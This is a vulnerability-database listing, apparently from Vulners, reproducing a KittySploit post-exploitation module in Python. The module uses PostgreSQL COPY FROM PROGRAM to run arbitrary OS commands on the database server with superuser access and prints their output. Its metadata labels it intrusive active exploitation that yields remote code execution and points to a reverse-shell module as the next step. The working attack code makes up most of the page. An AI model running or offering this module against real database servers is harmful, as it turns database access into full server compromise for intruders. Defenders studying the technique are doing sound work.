Lucene search
+L

PostgreSQL COPY FROM PROGRAM

🗓️ 26 May 2026 19:29:07Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 6 Views

Superuser can execute OS commands via PostgreSQL COPY FROM PROGRAM.

Refs
Code
from kittysploit import *
from lib.protocols.postgresql.postgresql_client import PostgreSQLClient


class Module(Post, PostgreSQLClient):

	__info__ = {
		"name": "PostgreSQL COPY FROM PROGRAM",
		"description": "Execute an OS command via COPY FROM PROGRAM (superuser required)",
		"author": "KittySploit Team",
		"session_type": SessionType.POSTGRESQL,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'chain': {
	        'consumes_capabilities': ['db_access'],
	        'produces_capabilities': ['rce'],
	        'suggested_followups': ['post/shell/multi/manage/spawn_reverse_shell'],
	    },
	},
	}

	command = OptString("id", "Shell command to run on the database server", True)

	def run(self):
		try:
			if not self.is_superuser():
				raise ProcedureError(
					FailureType.NotAccess,
					"COPY FROM PROGRAM requires superuser privileges",
				)

			cmd = str(self.command)
			print_status(f"Executing: {cmd}")

			conn = self.get_postgresql_connection()
			conn.autocommit = True
			with conn.cursor() as cur:
				cur.execute("CREATE TEMP TABLE IF NOT EXISTS kittysploit_cmd_out (line text);")
				cur.execute("TRUNCATE kittysploit_cmd_out;")
				cur.execute(
					"COPY kittysploit_cmd_out FROM PROGRAM %s;",
					(cmd,),
				)
				cur.execute("SELECT line FROM kittysploit_cmd_out;")
				rows = cur.fetchall()

			if rows:
				print_success("Command output:")
				for (line,) in rows:
					print_info(line)
			else:
				print_warning("Command ran but returned no output")

			return True
		except ProcedureError:
			raise
		except Exception as exc:
			raise ProcedureError(
				FailureType.Unknown, f"COPY FROM PROGRAM failed: {exc}"
			)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
6Medium risk
Vulners AI Score6
6